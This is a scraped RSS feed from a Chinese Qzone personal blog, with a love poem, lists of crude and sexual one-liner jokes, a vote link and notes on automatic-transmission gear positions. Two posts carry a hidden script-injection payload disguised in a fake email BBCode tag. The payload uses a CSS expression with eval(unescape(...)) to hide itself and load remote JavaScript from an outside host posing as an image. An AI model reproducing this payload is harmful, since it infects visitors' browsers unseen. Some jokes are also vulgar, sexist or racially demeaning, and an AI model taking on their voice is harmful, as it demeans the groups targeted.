http://549605501.qzone.qq.com Thu, 26 Nov 2009 07:10:19 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Wed, 14 Oct 2009 09:44:32 GMT http://549605501.qzone.qq.com/blog/1255513472 http://www.f-boss.com/zt/xiehe/toupiao
每隔一个小时可以再投一次！ ]]> http://549605501.qzone.qq.com/blog/1255513472#comment 134218240 Wed, 14 Oct 2009 09:44:32 GMT http://549605501.qzone.qq.com/blog/1255513472 http://549605501.qzone.qq.com/blog/1240137143 冷风阵阵吹进我房间
阴郁天气让思绪飞远
想起你那甜美的笑靨
莫名心痛袭上了心间
有一种想落泪的心酸
让我更加思念起那段
曾经无知无畏的少年
不敢表白对你的喜欢
傻傻望着你慢慢走远
再一次错过说我喜欢
时间慢慢的这样过去
你已变成了别人的妻
只有把你放进我心底
虽然还会偶尔想起你
只有祝愿你幸福甜蜜[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://549605501.qzone.qq.com/blog/1240137143#comment 134217728 Sun, 19 Apr 2009 10:32:23 GMT http://549605501.qzone.qq.com/blog/1240137143 http://549605501.qzone.qq.com/blog/1209657085



[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://549605501.qzone.qq.com/blog/1209657085#comment 513 Thu, 01 May 2008 15:51:25 GMT http://549605501.qzone.qq.com/blog/1209657085 http://549605501.qzone.qq.com/blog/1209656903

























]]> http://549605501.qzone.qq.com/blog/1209656903#comment 513 Thu, 01 May 2008 15:48:23 GMT http://549605501.qzone.qq.com/blog/1209656903 http://549605501.qzone.qq.com/blog/1209386946
102。给我十二个美丽的女儿，我会每天赞美主，二十年后这群天使会给我带来无穷的财富。

103。我女友不当尼姑的原因是她四级没过，庵里不收。

104。哥们看上一个三十九岁的少女，目前求婚中。

105。为了以绝后患，挖深点！

106。把你的脸盆交出来！大爷我要洗裤头了。

107。我轻轻的脱下你的内裤，然后…然后…脱下我的。

108。没吃过猪肉，我还没听过猪肉涨价！

109。广告可以看，但是广告的东西绝对不可以买。

110。有钱的都是大爷！但是欠钱不还的更是！

111。你刷牙我不管你，但是你告诉我，我的洗面奶哪里去了！

112。明星脱一点就能更出名，我脱的光光的却被抓起来了！

113。现在找对象一定要看仔细一些，因为现在不男不女的人太多了！

114。蚊子咬你之后真的很气愤，但是更气愤的是，它咬了你，你却找不到它！

115。鸡鸡指的是什么意思？答：两个鸡！

116。站到蹦极的地方你最想的是什么事情？反正我当时是最想尿尿！

117。我骑自行车曾经撞过大楼！大楼被我撞掉块皮，我被大楼撞掉两个大门牙！

118。有个人问我哪里色狼最多，我告诉他说有女人的地方，结果他就去找色狼了，但是那个傻逼居然去了女子柔道队！

119。我本人是一个很节约的人，我拉屎从来不用纸，吃饭从来不用筷子，而且没有洗过手！

120。猪是一种动物，但是它也是胖人的代名词！

121。小孩喜欢天长夜短，小偷喜欢天短夜长！

122。人是人他妈生的，妖是人他妈想出来的！

123。告诉你别逼我，你要是在逼我，我就装死给你看！

124。以前叫'偷坟掘墓'该死，现在叫'考古'科学！

125。当我看见美女的时候，首先摸摸兜里，看看有没有钱！

126。钱重要吗？我认为有的时候不重要，不信把你扔到一个无人区，十天之后，我带着一百万和一碗大米饭去给你选，你一定会选大米饭！

127。宇宙之大难以想象，地球只不过是宇宙中的一粒尘埃，我又何苦为了丢一毛钱而痛苦呢！

128。星星还是那个星星，月亮也还是那个月亮，但是人变了！

129。假如有天我当明星了，我一定脱给你们看！

130。会飞的不一定是超人，也不一定是鸟人，也许是飞机！

131。上学的时候天天想着放假，现在彻底放假了，到是又想上学了！

132。拉不出屎不能怪地球引力了，可能是你便秘！

133。面条的最新用途，就是被包子打！

134。牛皮不是被吹的，牛逼才是！

135。狗不理包子，是因为包子馅是纸壳做的！

136。朱元璋是我大爷，不信你把他叫出来问问！

137。假的婴儿奶粉还没有草有营养，当初还不如吃草了！

138。童子尿可以避邪，于是我决定卖童子尿赚钱，我儿子就是摇钱树！

139。在外面，男子汉大丈夫。在家里，男子汉大豆腐！

140。吃葡萄不吐葡萄皮，你可能会拉肚子！不吃葡萄到吐葡萄皮，你是魔术师！

141。人不怕死，但是最怕不知道怎么活！

142。出其不意，攻其后背！

143。天上有个太阳，水中有个月亮，我不知道，我不知道，我不知道，哪个更圆哪个更亮，嗯嗯嗯嗯嗯！这首歌讲的是一个神经病的故事！

144。为了避免家庭暴力，于是我决定不结婚！

145。王子都是喜欢公主的，青蛙王子也一样！

146。孟母三迁的故事其实说明她是有个好儿子，如果换了我，搬一百次家也没用！

147。好马配好鞍，老头配美女！

148。我的未来不是梦，我的未来是做恶梦！

149。天苍苍野茫茫，风吹草低见牛羊屎！

150。故人西辞黄鹤楼，临走送了一桶油，故人边走还边想，这个小子真是抠。
]]> http://549605501.qzone.qq.com/blog/1209386946#comment 512 Mon, 28 Apr 2008 12:49:06 GMT http://549605501.qzone.qq.com/blog/1209386946 http://549605501.qzone.qq.com/blog/1208314916 2女人谨记…一定要吃好玩好喝好睡好，一旦累死了，就有别的女人花咱的钱，住咱的房，睡咱的老公，泡咱的男朋友，还打咱的孩子。


3。好狗不挡路，挡路的都是路障！

4。床，钱，明月，光；衣，失地，上，爽！

5。不以风骚惊天下，就以淫荡动世人

6。鄙视我的人这么多，你算老几?

7。系统居然怀疑我灌水，我身边又没有水龙头。哦…明白了，身上有一个…

8。要挑熟女，裙子好揪。


9。开车无难事，只怕有新人！

10。"捷克斯洛伐克"！我叫JACK，我老婆总这样抱怨我。（JACKSLOWFUCK）

11。万乐淫为首。

12。水能载舟，亦能煮粥！子在川上曰："有船多好！"

13。怀才就像怀孕，时间久了才能让人看出来。

14。如果你不能给你的女人穿上嫁衣，那么千万别停下你解开她衣扣的手！


15。我不喜欢只和一个女人上很多次床，而是喜欢和很多女人只上一次床。

16。问君能有几多愁，恰似一群太监上青楼…

17。长个包子样就别怨狗跟着…

18。不怕虎一样的敌人，就怕猪一样的队友!

19。为中华而努力读书！一包中华好多钱啊…

20。没有医保和寿险的，天黑后不要见义勇为…


21。你不能让所有人都满意，因为不是所有人都是人！

22。成功女性不怕丢人！

23。女孩从处女到女人只要一次并成功，男孩从处男变男人需要反复的磨练．！

24。其实治疗尿频根本不用买那么贵的药，花二毛钱买一根猴皮筋即可。

25。一日夫妻百日恩，百日夫妻嗯嗯嗯。

26。朋友你今天就要远走，请干了这白妞。


27。红烧猪手这道菜味道很好。如果你不这样认为，那只能说明你是猪。

28。两小儿辩日，一儿曰：一天就是一日！一儿曰：一日就是一天！

29。知人知面不知心温故，画龙画虎难画骨绵掌…

30。爱我的请举左手，爱糖糖的请举中指。

31。一个绿豆在街上走，走着走着，踩到一片柠檬，就变成了[酸豆脚]…

32。小燕子，穿比基尼，飞到东来哦飞到西…


33。三分天注定，七分靠打拼，爱拼才会赢一毛。

34。长大后…我就称了你…恩，140斤了，要减肥啊！

35。媳妇没劲三月天咧，春雨如酒柳如烟咧…

36。抽空从抽屉里抽了根烟抽结果抽油烟机开始抽风把我抽抽风了，浑身抽筋啊抽搐得我一脸抽象真他妈欠抽…

37。其实比香港双飞7日游更有吸引力的项目是：海南3P五日游。

38。一个裸男往南飞，一会儿排成个"太"字，一会儿排成个"木"字…


39。这两天总是听天气预报在说是英语天气，不知道啥时候才能是汉语天气呢！

40。有一个钥匙掉进粪坑，被染成了黄色，江湖上就叫他"东邪"…

41。我是同室，你是戈；我是风和，你是丽；我是得力，你是将…

42。虽然在现实中我是个胖子，但是在游戏中我是个兽人…

43。我家的表，数，数不清…我嫁的表叔，数不清…

44。是金子，总会花光的；是镜子，总会反光的…


45。当所有的人，离开我的时候，你劝我要耐心等猴…

46。有个女孩写了一封情书给李善思，并亲手递给他，说："给你，思。"

　　于是，李善思接过情书，然后就撕了。

　　有个女孩写了一封情书给柯庆文，并亲手递给他，说："给你，文。"

　　于是，柯庆文接过情书说："恩，好香啊！"

　　有个女孩写了一封情书给胡子仪，并亲手递给他，说："给你，仪。"


　　于是，胡子仪接过情书说："滚蛋，我没有姨！"

47。男人膝下有黄金，我把整个腿都切下来了，连块铜也没找着！

48。春眠不觉晓，处处闻啼鸟，夜来风雨声，花落之多少！

49。情人最后难免成为禽兽…今天你不操她，明天她就让别人操!

50。给我一轮船的女人，我就能叫自己精尽人亡!

51。"老板来碗豆花！""今天情人节，不卖豆花了，改卖玫瑰花…"


52。乌溜溜的黑野猪和你的小脸…

53。麻烦你给我称两块钱不锈钢飞镖，这是我的8级刺客证书…

54。明月几时有，把酒问青天…青天说：滚你妈的，我这么忙，哪有时间理你，自己看天气预报去…

55。骑上奔驰地骏马，象爬上飞快的快车，车站和铁道在线，是我们拉屎的好地方…

56。有一只羊在唱歌：把你的心我的心串一串，串一个羊肉串，再串个羊肉串…

57。饿，饿，饿，屈原向天歌。白毛浮绿水，几度夕阳红…。


58。这孩子真他妈招人喜欢；这孩子他妈真招人喜欢；这孩子真招他妈喜欢…

59。明天不能再逃课了。怕什么，我们都逃了好几天了。不行啊。为什么不行？因为我是老师…

60。春天我把玉米埋在土里，到了秋天我就会收获很多玉米。春天我把老婆埋在土里，到了秋天我就会…被枪毙！

61。天赐你一双翅膀，就应该被红烧…

62。教授的父亲=教父，教授的干爹=教父Ⅱ，教授的丈人=教父Ⅲ…

63。对不起，你所拨打的号码我们找不到…对不起，您拨打的电话已死机…对…对…不起，您…您…您…所…拨…打的电…电话…话已关…关…关…哦，他开机了…对不起，您所拨打的用户…哦，对不起，请不要用电视机遥控器冒充手机。


64。对于你的人品，大家都是口交称赞啊…

65。新华社消息，我国著名床上极限运动员XX自5月20以来，体温屡创新高，在X月XX日更是创造出历史最高成绩---40。5度，可喜可贺可口可乐…

66。身穿大红袄，头戴一枝花，胭脂和香粉她地脸上擦，左手一只鸡，右手一只鸡，背后还背着一只老母鸡啊，一呀一得喂，原来她是个卖鸡地…

67。科学证明如果你一直是使用左手做拿筷子、写字、手YIN等动作，那么你…就是一个左撇子

68。别以为穿着脏衣服就可以做污点证人；别以为穿着木制拖鞋就可以做木屐证人…

69。这是一个黏乎乎的季节，空气里都是汗水的味道；人们就象虫子一样，四处躲避着阳光；汗水侵蚀着衣裳，心脏快要冲出胸膛；我的睫毛实在不够长，遮不住我的眼睛，也遮不住这阳光，遮不住这世界，也遮不住我内心惶惶…


70。砍头算什么，脑袋掉了不过碗大的疤，18年后老子又是一条僵尸…

71。西风古道瘦吗？枯藤老树荤呀…

72。巨龙巨龙你插两眼，永永远远地插两眼…

73。昨天中午见一哥们脑袋上戴一帽子，上写俩字母"ZY"，我草，感情是一矮人牧师…

74。他是个德鲁伊，他喜欢大自然，他喜欢一切花草树木…他最后因为车祸，成了一名植物人。

75。那深秋的花蕾，在无尽的虚空下随风枯萎，片片飘落，如梦的碎片，那样的银白、轻盈，那样的娇艳、轻灵----纪念我的头皮屑


76。看到总公司来的那俩美国黑人，我脑子中闪过俩字----暗牧…

77。我的胸口燃起了一团怒火…靠！谁他吗把火柴扔我胸口的？！

78。经过我国数名科学院院士的研究证明，真正的王道就是…皇宫里的路！

79。服务员，给我一杯奶茶，多放点茶叶，少放点奶…

80。俩农夫吹牛--"俺们农场的鸡，吃的都是茶叶，下的全是茶叶蛋""有嘛啊，咱农场给鸡吃钱包，让它下荷包蛋…"

81。法佬说：今天是端午节，我请你们吃粽子，人肉馅儿的，来人呐，上木乃伊…


82。你是電，李四光，你是唯一的神话…

83。传说上帝用7天创造天地万物，第一天，上帝说要有光，于是…夏娃就被脱光了…

84。猜一人体器官，提示一：左右各一个；提示二：圆弧状，软软的；提示三：有些人会给它戴上罩子；提示四：敏感带。答案是…耳垂。想歪的去厕所面壁5小时。　　

85。出来混，老婆迟早是要换的!

86。嫦娥裸奔追我三公里，我回头看一眼就算我流氓。

87。我是一个享受已婚待遇的未婚青年。


88。让女孩变成女人是作为男人最基本的责任和义务。

89。我的梦想：有事秘书干，没事干秘书，现实却是：有事秘书干不了，没事不能干秘书。

90。恩，看了挺好，不好也挺着看了。

91。男人是会走路的生殖器!

92。唐僧肉吃了能长生不老，唐僧屎不知道有没有同样的功效？

93。我哥们有５个女友，都是被别人抛弃的，包括他自己．


94。好男人做了和尚，好女人做了尼姑，所以，师太你就从了老衲吧。

95。有的男人先是和尚后是皇上，比如朱元璋，有的男人先是皇上后是和尚，比如他的孙子。

96。哦米拖佛，这年头，做个和尚都要抗拒很多诱惑。

97。结婚证和生产许可证的唯一区别是，它不挂在墙上。

98。我哥们和他的女友领到生产许可证后，每天都在紧锣密鼓忙生产。

99。和欧美国家比起来，我国年轻男性的生产设备管理水平还在初级阶段。


100。不要说别人脑子有病，脑子有病的前提是必须有个脑子。
]]> http://549605501.qzone.qq.com/blog/1208314916#comment 512 Wed, 16 Apr 2008 03:01:56 GMT http://549605501.qzone.qq.com/blog/1208314916 http://549605501.qzone.qq.com/blog/1208314011 52阿呆和阿瓜在一起做事，但阿呆总是把事搞砸，于是阿瓜就很生气的问阿呆说："你知道猪是怎么死的吗？" 　阿呆说："不知道！" 　　阿瓜就很生气的对他说："是笨死的！就跟你一样啦！" 　　又有一次，阿瓜把事情搞砸了，于是阿呆就想机会不可失，想报上次的仇，就假裝很生气的问阿瓜："你知道猪是怎么死的吗？" 　　阿瓜只是冷冷的回他一句："你还没死我怎么知道！"
53说有个人眼神特背，有时候脸贴上面都不一定瞅见东西。　　有一天他去逛街买笊篱，路边正好有个麻子在摆摊，就上前问："这个笊篱多少钱？" 　　麻子很生气，吐了他一口。　　他觉得脸上湿乎乎的，抹了一把，说："哦，不是笊篱，是喷壶啊！"

54我和同事共住一间地下室，近日因暖气开放，室内干燥至极，夜里往往因口渴而醒来，醒来后就是一顿牛饮。这一夜，我先被渴了起来，喝完了自己提前晾下的一杯水后，又把同事的那杯也喝了，并重新给他倒了一杯。谁知我刚睡着没一会儿，就听到同事大叫起来："了不得！这地下室太热了，放了两个多钟头的水，还热得不得了！"

55母猩猩自从和公猩猩结婚后，非常不放心老公。一天，她看到金丝猴从树上下来，上前喝道：站住，你染了毛又想去勾引谁啊？

56一群蛤蟆仰天望着在空中自由飞舞的天鹅，其中一只感叹：唉，不知道我们谁能吃到天鹅肉？另一只自信地回答：我能！

57两只苍蝇婚后为去哪蜜月旅行而争执。最后，公苍蝇拿来世界地图，决定环球旅行80天，母苍蝇点头附道：神州行，我看行！

58A总是失眠,每天晚上数不到N只羊是绝对睡不着的，而且总半路遇见狼，一日，Ａ又失眠，下铺Ｂ递上一把刀，干嘛？杀狼！
59不公平啊，为何钱花你身上，又由我照顾你，还要我看你吃饭……你再不长胖点，罚你下辈子还当猪！

60 街上碰到你,我问:你最近可好啊?你一理不理,傻样,回头正郁闷呢,短信来了:我很好,没见我用蹄子给你回信息吗?




80我实在无法抗拒那坚硬的诱惑，当我把它含在口中，又舔又吸……流出来了，粘粘的，终于让它变小了……冰棒

81插入一个洞，时常翻动，放进去时硬梆梆，拿出来时软趴趴。你想哪去了？我在烤红薯呢

82街上碰到你,我问:你最近可好啊?你一理不理,傻样,回头正郁闷呢,短信来了:我很好,没见我用蹄子给你回信息吗?

83早晨，电脑维修工一上班，一客户怒气冲冲地跑来要求换键盘:少了一个键！我仔细检查:正好啊，您说说少了什么键？"任意键！"
84一人打电话到电台点歌：我没买到车票，不能回家过年。主持人问想他点歌给谁？他说：我点首《算你狠》，送给所有票贩子…

85我的第一奋斗目标: 比尔盖茨借钱给我；第二奋斗目标: 还清比尔盖茨借我的钱；第三奋斗目标: 借钱给比尔盖茨

86编辑部征微型武侠小说,要求:既要打破世俗伦理,又包含江湖门派多年恩怨情仇.最佳作品是:秃驴,竟敢跟贫道抢师太

87甲：我楼下住着的简直神经病，半夜三更还来咚咚敲我家门。乙问：那你怎么办？甲：神经病谁理他，继续K我们的歌

88等俺有钱了，天天迟到早退，工资让他们随便扣；再买两辆宝马，一辆开道一辆护驾，俺在中间骑自行车，还带着你！

89等咱中国强大了，叫老外考中文四六级！文言文太简单，全用毛笔答题，惹急了一人一把刀一个龟壳，刻甲骨文！

90有人得肾结石，儿子问：什么是肾结石，他说：尿尿的时候有石头出来，儿子很忧虑的说：爸爸，你尿尿时小心别砸着脚！

91儿子4岁看见一只青蛙在跳,他就学着这只青蛙跳,跳了几下,站起来说:真累啊!!!真难为青蛙了,每天都要这样跳.

92幼儿园里，分发课间餐。老师让小朋友们先洗手再拿东西吃。一个小朋友问：为什么要先洗手呀？一个答：笨蛋！洗洗更健康！

93妈妈："你已经八岁了，不需要妈妈陪了，可以自己睡觉了"孩子："爸爸都那么大了，为什么你还陪他睡觉"

94蚊子飞到熟睡的宝宝屁股上，爸爸赶走了蚊子，抹上花露水，宝宝惊醒大叫：妈妈，蚊子在我屁股上尿尿！

95大人：你知道为什么是妈妈生你，而不是爸爸生你吗？小孩：因为妈妈有产假，而爸爸没有！
96班主任怒气冲冲的走进教室对同学们说:你们叫我语文张我也就忍了，可是你们为什么叫刚来的教政治的范老师为政治犯？

97初中时，一男生想抄一女生作业，怕人家不同意，就偷偷翻女生书包,结果翻出来一个卫生巾，他惊讶的说：哇！好大的一个创可贴

98高中时每人发个胸牌。一次来检查前,班主任跑到教室大声喊,大家快把胸罩戴起来,来查啦…全场鸦雀无声……

99和朋友吃完饭，服务员拿着账单:先生二百五。朋友生气:算错了！再算！一会儿服务员回来，诚恳的说:没错，先生就是二百五

100 美丽姑娘向老翁求婚。老翁：我们合适吗？姑娘：《婚姻法》没有规定年龄差别。老翁：那规定了什么？姑娘：继承丈夫财产的权利。
]]> http://549605501.qzone.qq.com/blog/1208314011#comment 512 Wed, 16 Apr 2008 02:46:51 GMT http://549605501.qzone.qq.com/blog/1208314011 http://549605501.qzone.qq.com/blog/1208313758 2人家有的是背景儿，我有的只是背影儿.
3现在,一个月能挣200斤猪肉的勉强算白领.

4都说转角遇到爱，TMD，老子一不留神，还没到角的地方，在转的时候已经给车撞了！

5走投无路还走什么走，直接坐车啊.

6找一个像EXCEL一样的男朋友--想隐藏就隐藏，想筛选就筛选，想删除就删除，一个不高兴，我还不保存！

7女人一生只爱两种花：一是有钱花，二是尽量花！

8你饿不饿？我这有感冒冲剂！要不要来一杯？
9女人是用来观赏的，男人是用来猜想的！

10你以为我会眼睁睁地看着你去送死吗？我会闭上眼睛的！

11有人在车上分娩，有人在地铁怀孕，北京真是个充满生机的城市

12海纳百川，有容乃大！有容是谁媳妇！

13当你抱怨自己没有鞋穿的时候，你也要想到这个世界上还有没有脚的人
14网络上用假名说真话,现实中用真名说假话

15唾沫是用来数钞票的，而不是用来讲道理的！！
16出问题先从自己身上找原因，别一便秘就怪地球没引力

17如果有一天我变成了流氓，请记得提醒我我也曾经清纯过。

18一般般的我，一般般的拽，一般般的美女我不甩！

19众里寻他千百度，蓦然回首，那人依旧对我不屑一顾…

20只有在大排长龙时，才能真正体会到我们是"龙的传人"。

21本人中科院高级潜水院院士，诺贝尔长期掉线奖，奥斯卡终身隐身奖
22世界上最远的距离，不是天涯海角，而是我在电信，你在网通……

23上天在赐于我门青春的同时也赐予了我们青春痘

24什么是幸褔？幸福就是猫吃鱼狗吃肉，奥特曼打小怪兽！

25上今天的班 睡昨天的觉

26我终究没能飙得过那辆宝马，只能眼看着它在夕阳中绝尘而去，不是我的引擎不好，而是我的车链子掉了

27夏天，一个展现女人魅力和暴露男人本性的季节
28诗有云：床、钱、明月、光，衣、失、地上、爽。

30看着我的眼睛，除了眼屎，你还会看到坚毅和真诚~~

31猴狗联姻，新婚之夜，猴新郎问新娘：你喜欢我哪一点选择嫁给我？狗新娘羞涩地说：还不是为了孩子能有点人模样！

32 动物们在关公庙闻到臭屁的味道,大家都不承认.猪说：放屁的人一定会脸红.忽然关公冲出来骂:说了多少次,我脸红是天生的

33 儿子:妈妈，你的牙好大！妈妈瞪了他一眼，儿子改口:你是世上最漂亮的妈妈！妈妈笑，儿子:不过，你的牙确实挺大的！

34隔壁那小子终于发誓要减肥了--毕业招聘会上，有人对他说了句："哥们，让一下，你挡着我的手机信号了。"
35 公车上：怀孕妇女对她身旁坐着的一位男子说："你没看到我怀孕了吗？"男子很紧张的说："孩子不是我的！"

36不要酱瓜，我捡个狗屎给你舔舔。（翻译：不要讲话，我讲个故事给你听听。）

37 蹭经，优异份珍诚地爱庆柏呆俺跟儿前儿，俺木友珍稀...下面是绳么乐？俺想不起来乐

38初见时倾心，再见时痴心。成日费心，欲得芳心。费尽苦心，想都屈心。唔通你心，不懂我心？

39大哥您了吃了吗？回答；吃嘛吃大热的天儿，嘛都吃不下去，借哪行切，人四铁饭四钢，一顿不吃握的慌。

40夫妻有仔名李笨.一日报案,阿sir问夫名,答:李港仙.sir惑问妇名,答:吴广德.sir问何事?齐声:稳李笨！
41湖南口音的县长报告：兔子们，虾米们，猪尾巴！不要酱瓜，咸菜太贵啦（译：同志们，乡民们，注意吧！不要讲话，现在开会啦）

42看你这娃儿瓜兮兮，整天尽在干蠢事，都成方脑壳咯。遭人烧烤就挨你的哦。

43年度服饰大奖：丁字裤以前，脱下内裤看屁股；现在，拔开屁股看内裤…… 颁奖辞：它有力的证明了全球变暖的趋势

44 年度女性经典语大奖：下辈子我一定要投胎做一个男人，然后娶一个我这样的女人. 颁奖辞：用一种跨时空概念解决婚姻问题。

45老董是河南人，来到南方吃早餐，一进门就对服务员说："小姐，水饺（睡觉）多少钱一碗（晚）？"服务员很不高兴，就说："没有。只有馒头。"老董说："哦，馍馍（摸摸）也行。"服务员极为恼怒，骂道："流氓！"老董极为惊讶，说："六毛？太便宜了！"

46一家陕西人在唐人街开餐馆，儿子当服务生，老妈收钱，老爸大厨。一天，来了个老外，吃到一半，咣当把碗打了。儿子跑过去看了一下，说："碗打了！"老外想："one dollar"老妈听见声音，也过来看，问："谁打的？"老外想："three dollar？"儿子说："他打的！"老外想："ten dollar?!"老爸正在厨房切菜，听见外面的声音，赶忙跑出来看怎么回事。五大三粗的老爸，手持菜刀站在餐厅里，老外一看，吓坏了。老爸对着正在加热炉上舀汤的儿子说："烫，少盛点儿！"老外："ten thousand"(老外以惊人的速度从口袋中掏出钱包，把里面所有的钱倒在了桌上，然后像刘翔一样往门口狂奔)
47一个仆人是个黑人，他问主人："主人，绅士是什么东西？" 　　主人回答说："这是一种生物，是一个能吃、能喝、会睡觉可是什么也不做的有生命的东西。" 　　过了一会，仆人跑到主人身边说："主人，我现在知道绅士是个什么东西了。人们在工作，马在干活，牛也在劳动，唯有猪只知道吃、睡什么都不干。毫无疑问，猪便是绅士了。"

48 某乡有同胞兄弟仨，在族中排行为老六、老七、老八，眼下都已高龄。老八长子在某地为官，家庭颇富。老七次子在县城经商，广有积蓄，唯老六数子均未成器，农耕苦工度日。于是乎，势利乡民称呼便分出高下。逢老八称八爷，遇老七称七叔，见老六则叫他六老汉。某日，老六愤然而语曰："妈的，别再难为情咧！干脆叫我六哥吧，这样我父母生下的，岂不刚好是祖孙三代？"

49两位家长互夸自己的儿子。甲：我的儿子真是个天才，昨天他在墙上画了只蜻蜓，他妈妈捉了好几次。乙：那算什么？我儿子在地板画了条蛇，我吓得破门而出，谁知那扇门也是他画在墙上的！

50 一个医生为了说明饮酒的坏处，把两条小虫放在一个装着酒的瓶子和一个装着水的瓶子里。放在酒里的那条小虫很快就死了，而放在水里的那条还在挣扎。　　医生对周围的人说："你们看，这就是饮酒的害处。" 　　这时，人群中有一个酒徒大声喊道："这就对了，喝酒人的肚子里就不会长这种虫子啦！"
]]> http://549605501.qzone.qq.com/blog/1208313758#comment 512 Wed, 16 Apr 2008 02:42:38 GMT http://549605501.qzone.qq.com/blog/1208313758 http://549605501.qzone.qq.com/blog/1207737298 R(Reverse)：倒挡，车辆倒后之用。通常要按下拨杆上的保险按钮，才可将拨杆移至“R”挡。
N(Neutral)：空挡。将拨杆置于“N”挡上，发动机与变速器之间的动力已经切断分离。
D(Drive)：前进挡，用在一般道路行驶。
L(Low)，低速档。
OD----OD档为超速档，高速行驶时使用，达到省油的目的。
S＝SPORT 就是运动模式：它是要求电脑控制换档时机推迟！


只有在P、N两档时才可以发动车辆
从P档摘出排挡杆必需踩住刹车
自动档车在行驶中切不可推入P档
行驶结束停车时，自动档车必须熄火挂入P档才能抽出钥匙。做法：车进入停车位置后，踩住刹车将排挡杆拉到N档，拉起手刹，松开脚刹然后熄火，最后再将排挡杆推入P档！ ]]> http://549605501.qzone.qq.com/blog/1207737298#comment 512 Wed, 09 Apr 2008 10:34:58 GMT http://549605501.qzone.qq.com/blog/1207737298 http://549605501.qzone.qq.com/blog/1203764238







]]> http://549605501.qzone.qq.com/blog/1203764238#comment 513 Sat, 23 Feb 2008 10:57:18 GMT http://549605501.qzone.qq.com/blog/1203764238